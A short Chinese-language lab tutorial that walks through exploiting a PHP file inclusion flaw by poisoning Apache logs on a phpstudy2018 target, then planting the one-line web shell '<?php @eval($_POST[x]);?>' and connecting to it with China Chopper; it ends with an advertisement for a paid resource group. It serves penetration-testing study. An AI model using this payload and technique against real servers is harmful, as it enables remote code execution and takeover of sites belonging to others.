文件包含漏洞——配合日志文件

此实验中用的是phpstudy2018
靶机IP地址：192.168.212.131

一、前提条件

phpstudy中日志功能默认关闭，得手动修改配置文件开启apache日志功能

重启phpstudy，访问日志文件存在

二、文件包含漏洞测试

第一步：输入<?php phpinfo();?>进行测试

利用文件包含漏洞查看各个输入的内容是否存在与日志文件内

发现<?php phpinfo();?>已被转义成%3C?php%20phpinfo();?%3E
第二步：既然被转移，那就结合burpsuite抓包修改
开启burpsuite抓包，输入<?php phpinfo();?>继续进行测试

拦包修改被转义的内容


修改之后放包，再去文件包含日志文件，发现<?php phpinfo();?>已被执行

三、文件包含漏洞利用

第一步：输入一句话 <?php @eval($_POST[x]);?>

拦包修改被转义的内容


第二步：访问日志文件，查看没有一句话 内容，说明一句话 muma被当作php语言正常解析运行了

第三步：中国菜刀连接muma文件

添加成功之后，双击查看，成功链接

更多资源：

1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程

收集整理在知识星球，可加入知识星球进行查看。